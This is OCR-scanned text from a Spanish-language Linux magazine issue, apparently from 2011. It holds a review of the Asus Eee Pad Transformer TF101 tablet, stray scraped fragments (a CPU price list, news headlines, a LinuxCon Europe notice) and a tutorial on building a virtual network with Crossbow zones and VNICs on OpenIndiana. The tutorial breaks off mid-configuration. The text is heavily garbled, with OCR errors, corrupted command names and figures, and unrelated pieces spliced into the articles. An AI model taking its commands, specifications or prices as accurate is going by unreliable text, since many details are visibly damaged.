docking, un accesorio
que convierte el tablet
en casi un portatil o
netbook con Android,
ademas de darle mas
posibilidades de
conectividad y el doble
de autonomia.

Asus ha preferido romper moldes
con este Eee Pad Transformer.

Otro punto a favor del modelo de
tablet de ASUS es su precio mas
asequible en el caso del modelo
basico, el que se encuentra aqui en
Argentina que con 16 GB y Wifi
cuesta ARS 3.600, unos USD 850;
en Europa su precio asciende a
500 euros por el conjunto que si
bien viene por separado aqui
normalmente se comercializa en
forma conjunta, aunque se pueda
adquirir en forma separada, la
tableta y su docking si asi lo
preferimos.

Su pantalla, con retroiluminacion
LED y panel IPS, realmente se ve
muy bien, posee un alto brillo y
reproduce los colores de buena
forma, con un excelente angulo de
vision, su fabricante asegura que
es de 178°. La respuesta es muy
buena, y es multitactil con soporte
para hasta 10 puntos de entrada




multitactil, (tiene cristal Gorilla
Glass) y todo se ve muy definido (la
densidad es de 160 ppp), aunque
atrae bastante la grasa de los
dedos y es sensible a la luz fuerte
incidente. También el acabado
general del tablet es bueno, a pesar
de ser plastica con marco metalico,
se nota sdlida y bien terminada,
viene de color marrén cobrizo que
le da un toque fino, elegante y poco
comdan.

La version que he adquirido ya
venia con Android 3.1, a poco de
conectarla por primera vez pidid
actualizarse y ya estd con la
versién 3.2. hace unos dias su
fabricante  public6 una nueva
actualizacion con algunas mejoras
para su producto que serviria para
cambiar los punteros del trackpad
entre otras y cosas, luego lleg6 otra
actualizacion mas para la misma. El
fabricante no se hizo rogar vy
rapidamente liberd las
actualizaciones para este equipo a
Android 3.1, 3.2 vy luego dos
actualizaciones mas propias, algo
que generalmente se demora en
otras marcas.

La actualizacion a Android 3.2.1

nos sorprende con Supernote, una
muy util e interesante aplicacion
que nos proporciona varias e
interesantes funciones como son,
dibujar y escribir a mano alzada,
poder tomar notas, agregar dibujos,
fotografias que pueden capturarse
con la propia tableta y otros
elementos multimedia como audio y
video, y hacer todo esto de forma
integrada con lo cual Asus esta
colocando una nueva herramienta
muy (til para estudiantes, docentes,
disefadores y periodistas, entre
otros.

También cabe destacar que fue el
primer fabricante de tabletas en
anunciar que se actualizara a la
nueva version 4.0 Ice Cream
Sandwich recientemente
anunciada, a lo que luego se sumé
Motorola anunciandolo para su
tableta Xoom.

ASUS, coloca en este equipo algin
widget 'y unas aplicaciones
especiales, hablaremos de ellas
mas en detalle en el apartado de
software. La ranura para tarjetas
microSD (en el mismo lateral que el
puerto HDMI) funciona de serie, y
con ello es muy sencillo reproducir

Ya salid la nueva versién de Android Ice Cream sandwich
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contenido desde ella, pues con
s6lo introducirla, ya tenemos
acceso a un interesante explorador
de archivos.

A continuacion les dejo las
caracteristicas de la tableta y de su
base/teclado docking

Caracteristicas del Asus Eee Pad
Transformer TF101

- Pantalla capacitiva 10.1” IPS LED
backlight WXGA con una
resolucion de 1280x800 pixeles de
tipo multi-tactil.

- Procesador NVIDIA Tegra 2 a
1.0GHz dual-core

- Memoria RAM de 1 GBy
memoria interna de 16 o 32 GB
Flash NAND

- Sistema operativo Android 3.2
Honeycomb

- Camara trasera para fotos/videos
con una resolucion de 5 MPX sin
flash y camara web frontal de 1.2
MPX

- Conectividad Bluetooth 2.1+EDR,
y Wifi 802.11b/g/n

- GPS
- Lector de tarjetas microSD
- Salida Gréfica Mini HDMI

- Salida para auriculares de 3.5
mm.

- Bateria de Polimero de litio 24.4
W/h con 9.5 horas de autonomia,




16 horas si la conectamos al dock

- Sensores (G-Sensor, Light
Sensor, Giroscopio, E-Compass)

- Carcasa de PVC Color: Marrén
cobrizo

- Dimensiones: 271 x 171 x 12.98
mm

- Peso: 680 g.

Caracteristicas del DOCK
(BaselTeclado) del Asus Eee Pad
Transformer TF101

- Teclado 92 %

- Touch Pad

-2xUSB 2.0

- Docking port (Host + Cliente)

-1 x Card Reader
(MMC/SD/SDHC)

- 1 x bateria de Polimero de litio
24.4 W/h.

El software

Por supuesto en este equipo
podemos disfrutar de todas las
aplicaciones incluidas en Android
Honeycomb, las remodeladas
versiones de Gmail, Correo
Electronico, Gtalk con soporte para
la videocamara frontal para hacer
videoconferencias y la bien lograda
version de Youtube para tabletas
junto a los modernos widgets
redimensionables e interactivos de
la versién para tabletas del sistema.

You T
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Asus colocé una seleccion de
software de su propia cosecha para
amenizar un poco mas la
experiencia de Honeycomb. Entre
dichos cambios encontramos el
ASUS Launcher, algunos widgets
donde, uno presenta la prevision
meteorolégica y es capaz de
fundirse con el fondo de una
manera muy atractiva, también el
encargado de gestionar el email y
el de calendario con la fecha actual.

Su simpatico fondo animado
interactivo que, no sélo responde a
nuestros movimientos gracias al
acelerémetro, sino que es capaz de
mostrar la bateria restante del
dispositivo en funcion de lo alto o lo
bajo que se encuentre el nivel del
agua y sus cubitos de hielo.

-

También el fabricante ha afiadido
una aplicacion llamada MyCloud,
que funciona como puerta de
enlace al sistema WebStorage, que
nos permite almacenar nuestros
datos en la nube para acceder a
ellos, tanto desde el propio
dispositivo como desde nuestro
ordenador (siempre y cuando
instalemos el software necesario,
claro).

-
b/

-
0 @y
asus@vibe

Music

Para compartir archivos entre
distintos aparatos o realizar
streaming mediante DLNA, también
podras hacerlo con su aplicacion
MyNet. Asimismo encontraras un
lector de libros electrénicos
MyLibrary que permite visualizar
archivos e-pub, PDF y hasta una
funcion, que no habia visto en otra
aplicacion de este tipo, el poder
visualizar un simple archivo de
texto como si fuera un libro
electrénico y tener la posibilidad de
hojearlo en formato de libro
electrénico con el efecto de vuelta
de pagina.

El

Sin categorizar

Periédico

CPU AMD ATHLON I 155 X3 AM395.55USS
(ON PROMOCION EN ENVIOSI1 (consular compra

CPU AMD ATHLON 11 460 X3 AM3 10247055
10 (PRECIO ANTERIOR 15USD) GPU AMD ATHLON 1 640 X4 AMS3 121,61Uss
CPU AMD ATHLON I 645 X4 AMS 12533055
CPU AMD M1 A6-3500 X3 24GH1Z 3MB 11271088
CPU AMD PHENOM I 1055T X6 19350085
GPU AMD PHENOM I 1090T X6 BLACK ED 219.43USS
CPU AMD PHENOM 1 1100T X6 BLACK ED 245.02055.
CPU AMD PIIENOM 1560 X2 33 7MB 111.68UsS,
CPU AMD PHENOM
CPUGELERON E300 2

CPU ES700 DUALCORE 3.0

CPU G6950 DUALCORE 2.58GHZ 3MB 1156 98.28USS

Para el apartado profesional o
estudiantil se ha incluido el Polaris
Office, con él podemos crear o
editar documentos de texto, hojas
de célculo y presentaciones,
insertar imagenes o fotografias,
tomadas por la propia cAmara de la
tableta por ejemplo, todo ello desde
el propio equipo y a ser posible con




la inestimable ayuda de su dock
con teclado. Esto da un gran
aumento de la productividad, algo
que se critica en las tabletas a
veces y podria servir por ejemplo
para trabajos de estudiantes,
escritores, periodistas u otros
profesionales.

ino, con su docking se convierte
bricante "Transforma t movilidad en
ido muy bien, de hecho estoy

Fuera de las aplicaciones, widgets,
fondos que trae Honeycomb y las
comentadas que Asus colocé a este
equipo, quizas aun no hay tantas
aplicaciones especificamente
disefladas para tabletas, aunque
€s0 seguro mejorara y bastante con
el tiempo, de hecho podemos

encontrar varias aplicaciones ya

adaptadas, algunas de Google,
como Reader o Docs, algunas de
terceros como el excelente cliente
de Twitter Plume o el lector grafico
de RSS Pulse entre otros.

ENTER.CO * INFORMACION Y ANA

Otro golpe para
Netflix: pierde
800.000 usuarios y

Nueva fecha de
lanzamiento para
Battlefield 3

s recargas
de lineas celulares a
través de la Red

Manana LinuxCon
Europe 2011, en
directo

PLDS/Lite-On lanza
su nueva web

Tecnosoftware y
Serena Software
anuncian sus

TECNODOSIS

sabes de deportes y
gana premios con
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- bitacora

n Add to queue
E More episodes Unsubscribe

Programa 110926 “radio geek” “Samsung y su guerra

También podriamos utilizar alguna
aplicacion que no tenga una version
adaptada a tabletas como podria
ser el cliente oficial de Twitter o el
programa para escuchar Podcasts
Listen y hacer uso de la funcion de
estirar el mismo para que se adapte
a una pantalla grande.

Lo bueno y lo malo

A favor muchas cosas, su pantalla,
su gran autonomia, sus
actualizaciones, su versatilidad
junto a su dock, poder contar con
un teclado al 92 %, lo positivo de su
fila superior dedicada a los
nameros y funciones como teclas
para manejar el brillo, Bluetooth,
funciones multimedia o activar y/o
desactivar el Wi-Fi entre otras.

Poder usar el trackpad como en
una netbook. Personalmente
prefiero contar con un comodo

texto web m

Home  Apoya a Infosertec  Boletines suscripcion via email  Contacto  Cursos
recomendados  Infosertec.TV Streaming y RadioGeek

Mafiana LinuxCon Europe 2011, en directo

€l dia miércoles 26 de octubre, comenzara uno de los eventos mas importantes
sobre el sistema operativo Linux. £l mismo se llama LinuxCon Europe 2011, y se
celebra en [a ciudad de Praga.

Cuando accedemos a la web del evento nos encontramos con la sorpresa donde se
anunciaba que la charlas de Linus Torvalds y fim Zemlin, se realizara en directo con
transmision en streaming.

Los horarios son: Jim Zemlin, presidente de Ia Linux Foundation,miércoles a las
9:00 de la maniana, mientras que Linus Tarvalds participard en una mesa redonda
media hora después junto a un grande como Alan Cox, Thomas Glelxner y Paul
McKenney.

web de Linuxcon
Streaming directo, previo registro en la web

Arlel M. Corgatelll
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Noticias

teclado y un mouse para trabajar,
en el Eee Pad Transformer
podemos usar un mouse
convencional USB con sélo
conectarlo a unos de los dos
conectores del docking, entonces
aparecera en pantalla un puntero y
tendremos una experiencia similar
a un pequefio portatil y hasta con la
rueda del mouse cambiar entre los
escritorios.

En la comunidad de
desarrolladores de XDA
Developers ya se han aficionado
por esta tableta y varios de sus
integrantes ya han empezado a
hacerle cosas, han conseguido
encontrar una solucion para buscar
un cargador externo suplementario
y colocarle Ubuntu, y hasta poder
colocar ambos sistemas, Android y
Ubuntu con doble boot.

Lo no tan bueno, su cargador y el
cable propietario de Asus como
tienen otras marcas como
Samsung.

El cable de sincronizacién tiene
s6lo 90 cm. de longitud y no se
puede alargar con un extensor
USB, podria estar bien para
conectarlo a una PC pero se queda
corto conectado a su cargador.

Tampoco se puede sustituir por
otro, ya que como en el cable, su
conector USB esta4 modificado y al
conectarle otro no recibe la
informacion de carga, aunque
como comentamos, Yya hay
soluciones para esto, como
también para que la reconozca
Ubuntu o Linux Mint y pueda
montarla en el sistema para hacer
transferencia de archivos sin tener
qgue recurrir a hacerlo por wi-fi,
bluetooth, SSH u otros métodos




mas engorrosos.

También han conseguido
Rootearla, para asi poder utilizar
aplicaciones que requieran de este
privilegio, como el caso de poderle
hacer Overclock, con el que han

llegado hasta los 1.6 Ghz, o bien
instalar aplicaciones o acceder a
funciones que requieran de esta
posibilidad.

Conclusiones

La Eee Pad Transformer es una de
las tablet con Honeycomb de
mayor éxito que mas ventas ha
tenido a nivel mundial gracias a la
buena combinacion de materiales,
especificaciones y acabado, hasta
en un momento hubo problemas
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para abastecer con suficientes
unidades a los paises donde ya
estaba presentada, eso fue
subsanado posteriormente y no
tardé mucho en llegar a mi pais, la
Republica Argentina.

Casi todas las tabletas con
Honeycomb del mercado cumplen
las mismas especificaciones
técnicas, pero es en los accesorios
y conectores en lo que mas se
diferencian entre ellas.

El ASUS Eee Pad Transformer que
hemos analizado en Tuxinfo con
muy buenos resultados es un
modelo diferente y con un precio
mas ajustado que otros que ni
siquiera tienen la posibilidad de
colocarle un docking con las
ventajas del mismo.

No es la Unica propuesta diferente
en cuanto a tabletas que tiene la

178

firma taiwanesa, hace poco ha
aparecido su hermano el Asus Eee
Pad Slider, una tableta Android con
teclado deslizante, y también se
presenté en el Computex de Taipei
el Asus Pad Phone, una tableta
gue seguramente dar4d mucho de
gué hablar. Y es que no se trata
s6lo de una tableta sino de un
hibrido entre tableta y Smartphone.

Que haya versiones so6lo Wifi y que
no sea el mas delgado ni ligero
pueden jugar en su contra, pero no
mucho mas que otros.

A favor tiene todo lo demas:
pantalla IPS de gran calidad,
rendimiento y un accesorio que
casi nos da dos gadgets en uno.
Sin lugar a dudas la Asus Eee Pad
Transformer es una excelente
tableta para poder disfrutar de
Android 3.2 Honeycomb.

Rodolfo Mena
http://ar-gadget.com
rodolfomena2006@gmail.com
twitter: @rodolfitom




La semana pasada tuvimos nuestro
primer bafio de inmersién en los
conceptos de Crossbow. Vimos
como funciona este proyecto, qué
bondades provee, y cOmo nos
puede simplificar la vida a la hora de
virtualizar redes en nuestros
sistemas.

Esta vez haremos una practica que
nos permitird recrear un pequefio
centro de computos en la privacidad
de nuestra maquina, o la exposicion
de un servidor publicado en Internet.

La problematica

Lo primero que veremos, es la
problemética que tendremos que
resolver a través de Crossbow. Nos
pondremos delante de un esquema
de red que desearemos reproducir
I6gicamente en nuestra maquina
utilizando sélo las herramientas que
el mismo sistema operativo entrega.

El esquema de red esta constituido
por un cliente, conectado a un router
que dirigira conexiones hacia dos
servidores posibles: uno de paginas
web y otro de bases de datos
PostgreSQL. Estos dos dltimos
servidores deberén estar en una red
diferente de la del cliente.

Crossiooow (1D
La prdctica

POR HERNAN “HeCSa” SALTIEL

Graficamente, el esquema es el
siguiente. Como vemos en el
diagrama anterior, las direcciones IP
a asignar seran las siguientes:

- Cliente: 20.0.0.2/24, puerta de
enlace predeterminada: 20.0.0.1.

- Virtual Router, pata externa:
20.0.0.1/24
- Virtual Router, pata interna:
10.0.0.1/24

- Servidor web: 10.0.0.2/24, puerta
de enlace predeterminada: 10.0.0.1.

- Servidor de bases de datos:
10.0.0.3/24, puerta de enlace
predeterminada: 10.0.0.1.

Manos a la obra

Lo primero que haremos sera
desactivar la funcionalidad “Network
Magic”, ya que no lo podremos
utilizar para asignar configuraciones
automaticas en nuestra nueva
infraestructura de red. Todas las
tareas siguientes las ejecutaremos
como el usuario “root” en una
terminal.

Primero verificamos la forma en que
la red se esté configurando:
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hecsa@battlelloyd-o:~$ su -
Password:
OpenIndiana (powered by illumos) SunOS 5.11 oi_151a September 2011

root@battlelloyd-o:~# svcs physical:nwam
STATE STIME FMRI
online 16:52:53 svc:/network/physical :nwam

Entonces deshabilitaremos “nwam”, y habilitaremos “default”:

root@battlelloyd-o:~# svcadm disable physical:nwam
root@battlelloyd-o:~# svcadm enable physical:default

IMPORTANTE: Si estamos conectados en forma remota a un servidor, no lo hagamos, y acerquémonos a la consola
del sistema, ya que al deshabilitar “nwam?”, también perderemos conexién con él.

Verificamos que todo quedo bien:

root@battlelloyd-o:~# svcs physical:nwam

STATE STIME FMRI

disabled 16:57:32 svc:/network/physical:nwam
root@battlelloyd-o:~# svcs physical:default

STATE STIME FMRI

online 16:59:10 svc:/network/physical:default

Ya con el esquema de configuracion de red modificado, crearemos 2 etherstubs. Un etherstub se podria comparar con
un switch al que nadie le ha colocado (alin) una boca de red. Entonces, le implantaremos a martillazos bocas a medida
gue las necesitemos:

root@battlelloyd-o: show—etherstub
root@battlelloyd-o: create—etherstub Etherstubl
root@battlelloyd-o: create—etherstub Etherstub2
root@battlelloyd-o: show—etherstub

LINK

Etherstubl

Etherstub2

Etherstubl tendra las conexiones de la red 10.0.0.0/24 (vnicl, vnic2 y vnic3) , y Etherstub2 las de la 20.0.0.0/24 (vnic4
y vnich).

Ya tenemos los etherstubs. Ahora crearemos las Virtual NICs necesarias para todo nuestro proyecto, es decir, las que
interconectaran los etherstubs con las maquinas y el switch virtuales:

root@battlelloyd-o: dladm create-vnic Etherstubl vnicl
root@battlelloyd-o: dladm create-vnic Etherstubl vnic2
root@battlelloyd-o: dladm create-vnic Etherstubl vnic3
root@battlelloyd-o: dladm create-vnic Etherstub2 vnic4
root@battlelloyd-o: dladm create-vnic Etherstub2 wvnic5
root@battlelloyd-o: dladm show-vnic

LINK OVER SPEED MACADDRESS MACADDRTYPE
vnicl Etherstubl :8:20:51:4a:a0 random
vnic2 Etherstubl :8:20:a:bc:dc random
vnic3 Etherstubl :8:20:fd:b4:1f random
vnic4 Etherstub2 :8:20:35:45:ef random
vnich Etherstub2 :8:20:e6:5d:cc random

Nétese que a cada vnic se le ha asignado una direccién MAC virtual. Estas direcciones se generan en forma aleatoria,
como lo podemos ver en la columna “MACADDRTYPE”, con el valor “random”. Y nétese también que en la columna
“OVER” se especifica en qué Etherstub esta montada cada vNIC.
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Ahora, para poder hacer nuestra practica bien realista, crearemos las maquinas virtuales, pero con la variante de la
creacion de una plantilla. Desde la misma se construirdn, a su imagen y semejanza (¢me estoy poniendo religioso?),
las demas maquinas.

Crearemos un nuevo sistema de archivos ZFS y lo montaremos en un determinado subdirectorio:

root@battlelloyd-o:~# zfs
root@battlelloyd-o:~# zfs
root@battlelloyd-o:~# zfs
NAME

rpool

rpool/ROOT

create rpool/zones

set mountpoint=/zones rpool/zones
list
USED
12.9G
9.69G

AVAIL
88.5G
88.5G

REFER
48K
31K

MOUNTPOINT
/rpool
legacy
31K 88.5G 31K

rpool/zones /zones

Recordemos que si ho hemos reconfigurado la red luego de cambiar de “nwam” a “default”, debemos tocar el archivo
“letc/nsswitch.conf” para agregar, en la entrada de “hosts”, el protocolo “dns”. También debemos agregar la puerta de
enlace predeterminada con el comando:

root@battlelloyd-o:~# route add default <puerta de enlace>
Sin estos pasos, la zona “vmtipo” no se podra instalar, ya que no tendra forma de llegar a Internet.

Si todo esta configurado, crearemos la zona “vmtipo™:

root@battlelloyd-o:~# zonecfg -z vmtipo
vmtipo: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:vmtipo> create
zonecfg:vmtipo> set zonepath=/zones/vmtipo
zonecfg:vmtipo> set ip-type=exclusive
zonecfg:vmtipo> verify
zonecfg:vmtipo> commit
zonecfg:vmtipo> exit
root@battlelloyd-o:~# zoneadm -z vmtipo install
A ZFS file system has been created for this zone.
Publisher: Using openindiana.org (http://pkg.openindiana.org/dev/ ).
Publisher: Using sfe-encumbered (http://pkg.openindiana.org/sfe-encumbered/) .
Publisher: Using sfe (http://pkg.openindiana.org/sfe/).
Image: Preparing at /zones/vmtipo/root.
Cache: Using /var/pkg/download.
Sanity Check: Looking for 'entire' incorporation.
Installing: Core System (output follows)

Packages to install:
Create boot environment:
DOWNLOAD
Completed

PHASE
Install Phase

PHASE
Package State Update Phase
Image State Update Phase
Packages to install:
Create boot environment:
Services to restart:
DOWNLOAD
Completed

PHASE
Install Phase

1

No
PKGS
1/1

ACTIONS
15/15

ITEMS
1/1
2/2
50
No
3
PKGS

50/50 22960/22960

ACTIONS
29696/29696

FILES
3/3

FILES XFER (MB)

117.8/117.8
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PHASE
Package State Update Phase
Image State Update Phase

ITEMS
50/50
2/2

Installing: Additional Packages (output follows)
Packages to install: 48
Create boot environment: No
Services to restart: 2

DOWNLOAD
Completed

PHASE
Install Phase

PHASE
Package State Update Phase
Image State Update Phase

Note: Man pages can be obtained by installing SUNWman
Copying SMF seed repository
Applying workarounds.
Installation completed in 1508.153 seconds.

Postinstall:
Postinstall:
Done:

Next Steps: Boot the zone,

PKGS
48/48

FILES
4883/4883

ACTIONS
6661/6661

ITEMS

48/48
2/2

done.

to complete the configuration process.

Si bien el sistema nos indica que
debemos bootear la zona vy
conectarnos a ella para configurarla,
no lo haremos. Esta es una plantilla,
y Si la bootearamos y
configuraramos, estariamos
otorgandole propiedades que luego
habria que modificar en cada una de

las futuras maquinas virtuales. Soélo
dejémosla como esta, y usémosla
en el futuro. Ahora.

Construiremos las maquinas
virtuales necesarias para crear un
Virtual Router y tres hosts; uno que
hara las veces de cliente, y dos que

root@battlelloyd-o:~# zonecfg -z hostl

hostl: No such zone configured

Use 'create' to begin configuring a new zone.

zonecfg:hostl> create

zonecfg:hostl> set zonepath=/zones/hostl
zonecfg:hostl> set ip-type=exclusive

zonecfg:hostl> add net

zonecfg:hostl:net> set physical=vnicl

zonecfg:hostl:net> end
zonecfg:hostl> verify
zonecfg:hostl> commit
zonecfg:hostl> exit

Ahora clonamos la maquina virtual “vmtipo” para crear la nueva:

root@battlelloyd-o:~# zoneadm -z hostl clone vmtipo

XFER (MB)
28.3/28.3

then log into the zone console (zlogin -C)

seran los servidores web y de bases
de datos. Notemos que en lugar de
asignarles interfaces de red fisicas,
les asignaremos VNICs:

Creamos la configuracion de la
primer maquina virtual, “Host1":

En este caso, si la booteamos, y nos conectamos a su consola mediante “zlogin -C hostl”, para configurarla:

root@battlelloyd-o:~# zoneadm -z hostl boot
root@battlelloyd-o:~# zlogin —-C hostl

What type of terminal are you using?

1) ANSI Standard CRT
2) DEC VT52

3) DEC VT100

4) Heathkit 19
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5) Lear Siegler ADM31
6) Sun Command Tool
7) Sun Workstation
8) Televideo 910
9) Wyse Model 50
10) X Terminal Emulator (xterms)
11) CDE Terminal Emulator (dtterm)
12) Other
Type the number of your choice and press Return: 10

— Host Name for wvnicl
Enter the host name which identifies this system on the network. The name
must be unique within your domain; creating a duplicate host name will cause
problems on the network after you install Solaris.

A host name must have at least one character; it can contain letters,
digits, and minus signs (-).

Host name for vnicl hostl

(presionar F2 6 Esc-2)

— IP Address for vnicl
Enter the Internet Protocol (IP) address for this network interface. It
must be unique and follow your site's address conventions, or a
system/network failure could result.

IP addresses contain four sets of numbers separated by periods (for example
129.200.9.1) .

IP address for vnicl 10.0.0.2

(presionar F2 6 Esc-2)

— Subnet for wvnicl
On this screen you must specify whether this system is part of a subnet. 1If
you specify incorrectly, the system will have problems communicating on the
network after you reboot.
> To make a selection, use the arrow keys to highlight the option and

press Return to mark it [X].

System part of a subnet

[X] Yes
[ 1 No

(presionar F2 6 Esc-2)

— Netmask for wvnicl
On this screen you must specify the netmask of your subnet. A default
netmask is shown; do not accept the default unless you are sure it is
correct for your subnet. A netmask must contain four sets of numbers
separated by periods (for example 255.255.255.0).

Netmask for vnicl 255.255.255.0

(presionar F2 6 Esc-2)

— IPv6 for vnicl
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Specify whether or not you want to enable IPv6, the next generation Internet
Protocol, on this network interface. Enabling IPv6 will have no effect if
this machine is not on a network that provides IPv6 service. IPv4 service
will not be affected if IPv6 is enabled.

> To make a selection, use the arrow keys to highlight the option and
press Return to mark it [X].

Enable IPv6 for vnicl

[ 1 Yes
[X] No

(presionar F2 6 Esc-2)

— Set the Default Route for vnicl

To specify the default route, you can let the software try to detect one
upon reboot, you can specify the IP address of the router, or you can choose
None. Choose None if you do not have a router on your subnet.

> To make a selection, use the arrow keys to select your choice and press
Return to mark it [X].

Default Route for vnicl

[ ] Detect one upon reboot
[X] Specify one
[ 1] None

(presionar F2 6 Esc-2)

— Default Route IP Address for vnicl

Enter the IP address of the default route. This entry will be placed in the
/etc/defaultrouter file and will be the default route after you reboot
(example 129.146.89.225).

Router IP Address for wvnicl 10.0.0.1

(presionar F2 6 Esc-2)

— Confirm Information for wvnicl

> Confirm the following information. If it is correct, press F2;
to change any information, press F4.

Host name: hostl
IP address: 10.0.0.2
System part of a subnet: Yes
Netmask: 255.255.255.0
Enable IPv6: No
Default Route: Specify one
Router IP Address: 10.0.0.1

(presionar F2 6 Esc-2)

— Configure Security Policy:
Specify Yes if the system will use the Kerberos security mechanism.

Specify No if this system will use standard UNIX security.
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Configure Kerberos Security

[ 1 Yes
[X] No

(presionar F2 6 Esc-2)

— Confirm Information
> Confirm the following information. If it is correct, press F2;
to change any information, press F4.
Configure Kerberos Security: No

(presionar F2 6 Esc-2)

— Name Service

On this screen you must provide name service information. Select the name
service that will be used by this system, or None if your system will either
not use a name service at all, or if it will use a name service not listed
here.

> To make a selection, use the arrow keys to highlight the option
and press Return to mark it [X].

Name service

NIS
DNS
LDAP
X] None

[
[
[
[

(presionar F2 6 Esc-2)

— Confirm Information
> Confirm the following information. If it is correct, press F2;
to change any information, press F4.
Name service: None

(presionar F2 6 Esc-2)

— NFSv4 Domain Name

NFS version 4 uses a domain name that is automatically derived from the
system's naming services. The derived domain name is sufficient for most
configurations. In a few cases, mounts that cross domain boundaries might
cause files to appear to be owned by "nobody" due to the lack of a common
domain name.

The current NFSv4 default domain is: ""

NFSv4 Domain Configuration

[X] Use the NFSv4 domain derived by the system
[ ] Specify a different NFSv4 domain

(presionar F2 6 Esc-2)

— Confirm Information for NFSv4 Domain
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> Confirm the following information. If it is correct, press F2;
to change any information, press F4.
NFSv4 Domain Name: << Value to be derived dynamically >>
(presionar F2 6 Esc-2)

— Time Zone

On this screen you must specify your default time zone. You can specify a
time zone in three ways: select one of the continents or oceans from the
list, select other - offset from GMT, or other - specify time zone file.

> To make a selection, use the arrow keys to highlight the option and
press Return to mark it [X].

Continents and Oceans

= Africa

| Americas

| Antarctica

| Arctic Ocean

| Asia

| Atlantic Ocean
| Australia

| Europe

v Indian Ocean

(presionar F2 6 Esc-2)

— Country or Region

> To make a selection, use the arrow keys to highlight the option and
press Return to mark it [X].

Countries and Regions

= United States
| Anguilla

| Antigua & Barbuda
| Argentina

| Aruba

| Bahamas

| Barbados

| Belize

| Bolivia

| Brazil

| Canada

| Cayman Islands
v Chile

(presionar F2 6 Esc-2)

— Time Zone

> To make a selection, use the arrow keys to highlight the option and
press Return to mark it [X].

Time zones

[X] Buenos Aires (BA, CF)

[ ] most locations (CB, CC, CN, ER, FM, MN, SE, SF)
[ 1 (SA, LP, NQ, RN)

[ 1 Jujuy (JY)
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Tucuman (TM)

Catamarca (CT), Chubut (CH)
La Rioja (LR)

San Juan (SJ)

Mendoza (MZ)

San Luis (SL)

Santa Cruz (SC)

Tierra del Fuego (TF)

(presionar F2 6 Esc-2)

— Confirm Information
> Confirm the following information. 1If it is correct, press F2;
to change any information, press F4.
Time zone: Buenos Aires (BA, CF)

(America/Buenos_Aires)

(presionar F2 6 Esc-2)

— Root Password
Please enter the root password for this system.

The root password may contain alphanumeric and special characters. For
security, the password will not be displayed on the screen as you type it.

By default, a root password is REQUIRED.

If you do not want a root password, leave both entries blank
and edit /etc/default/login to include PASSREQ=NO before
rebooting.

Root password: ***xxxkk*%*
Root password: **x*xxk*xk**

(presionar F2 6 Esc-2)
System identification is completed.

rebooting system due to change(s) in /etc/default/init

[NOTICE: Zone rebooting]

SunOS Release 5.11 Version oi_151a 32-bit
Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved.
Hostname: hostl

hostl console login: root

Password:

Oct 31 01:37:41 hostl login: ROOT LOGIN /dev/console

OpenIndiana (powered by illumos) SunOS 5.11 oi_151a September 2011

root@hostl:~# ifconfig -a

lo0: £lags=2001000849<UP, LOOPBACK, RUNNING, MULTICAST, IPv4, VIRTUAL> mtu 8232 index 1
inet 127.0.0.1 netmask ££000000

vnicl: £lags=1000843<UP, BROADCAST, RUNNING, MULTICAST, IPv4> mtu 9000 index 2
inet 10.0.0.2 netmask ffffff00 broadcast 10.0.0.255
ether 2:8:20:51:4a:a0

1lo0: £lags=2002000849<UP, LOOPBACK, RUNNING, MULTICAST, IPv6, VIRTUAL> mtu 8252 index 1
inet6 ::1/128

Bien, ya teniendo la primer maquina virtual creada y configurada, podremos hacer lo mismo con la segunda, “host2”.
Primero tendremos que salir de una emulacion de consola serial que tenemos conectada a “hostl”, y para ello
presionamos “~.”.
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Los pasos para “host2” son los mismos que para “hostl”, con los siguientes como Unicos cambios. En la creacién de la
magquina virtual:

root@battlelloyd-o:~# zonecfg -z host2
host2: No such zone configured

Use 'create' to begin configuring a new zone.
zonecfg:host2> create

zonecfg:host2> set zonepath=/zones/host2
zonecfg:host2> set ip-type=exclusive
zonecfg:host2> add net
zonecfg:host2:net> set physical=vnic2
zonecfg:host2:net> end

zonecfg:host2> verify

zonecfg:host2> commit

zonecfg:host2> exit

En la instalacion de la méaquina virtual:
root@battlelloyd-o:~# zoneadm -z host2 clone vmtipo

La booteamos, nos conectamos a ella, y en la configuracién, todo es igual a “host1”, a excepcién de:

— Host Name for wvnic2
Enter the host name which identifies this system on the network. The name
must be unique within your domain; creating a duplicate host name will cause
problems on the network after you install Solaris.

A host name must have at least one character; it can contain letters,

digits, and minus signs (-).

Host name for vnic2 host2

IP Address for wvnic2

Enter the Internet Protocol (IP) address for this network interface. It
must be unique and follow your site's address conventions, or a
system/network failure could result.

IP addresses contain four sets of numbers separated by periods (for example
129.200.9.1) .

IP address for vnic2 10.0.0.3

Lo mismo haremos para “cliente”, donde las Unicas diferencias seran, para el caso de la configuracion:

root@battlelloyd-o:~# zonecfg -z cliente
cliente: No such zone configured

Use 'create' to begin configuring a new zone.
zonecfg:cliente> create

zonecfg:cliente> set zonepath=/zones/cliente
zonecfg:cliente> set ip-type=exclusive
zonecfg:cliente> add net
zonecfg:cliente:net> set physical=vnic5
zonecfg:cliente:net> end

zonecfg:cliente> verify

zonecfg:cliente> commit

zonecfg:cliente> exit
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La instalamos:

root@battlelloyd-o:~# zoneadm -z cliente clone vmtipo

La booteamos, nos conectamos a ella, y en la configuracién, todo es igual a “host1”, a excepcién de:

Host Name for wvnich
Enter the host name which identifies this system on the network. The name
must be unique within your domain; creating a duplicate host name will cause
problems on the network after you install Solaris.

A host name must have at least one character; it can contain letters,

digits, and minus signs (-).

Host name for vnic5 cliente

IP Address for wvnich
Enter the Internet Protocol (IP) address for this network interface. It
must be unique and follow your site's address conventions, or a
system/network failure could result.

IP addresses contain four sets of numbers separated by periods (for example
129.200.9.1) .

IP address for wvnic5 20.0.0.2

Default Route IP Address for wvnich

Enter the IP address of the default route. This entry will be placed in the
/etc/defaultrouter file and will be the default route after you reboot
(example 129.146.89.225).

Router IP Address for vnic5 20.0.0.1

Notemos que en este caso, la direccion IP de la puerta de enlace predeterminada es 20.0.0.1, y no 10.0.0.1, como en el
caso de “host1” y “host2”.

Ahora llega la hora de configurar un sistema que puede tener algo mas de complejidad, pero no mucha. Es el Virtual
Router. La lista de comandos es la siguiente, y notemos que le configuramos dos interfaces de red, no una como en los
casos anteriores:

root@battlelloyd-o:~# zonecfg -z vrouter
vrouter: No such zone configured

Use 'create' to begin configuring a new zone.
zonecfg:vrouter> create

zonecfg:vrouter> set zonepath=/zones/vrouter
zonecfg:vrouter> set ip-type=exclusive
zonecfg:vrouter> add net
zonecfg:vrouter:net> set physical=vnic3
zonecfg:vrouter:net> end

zonecfg:vrouter> add net
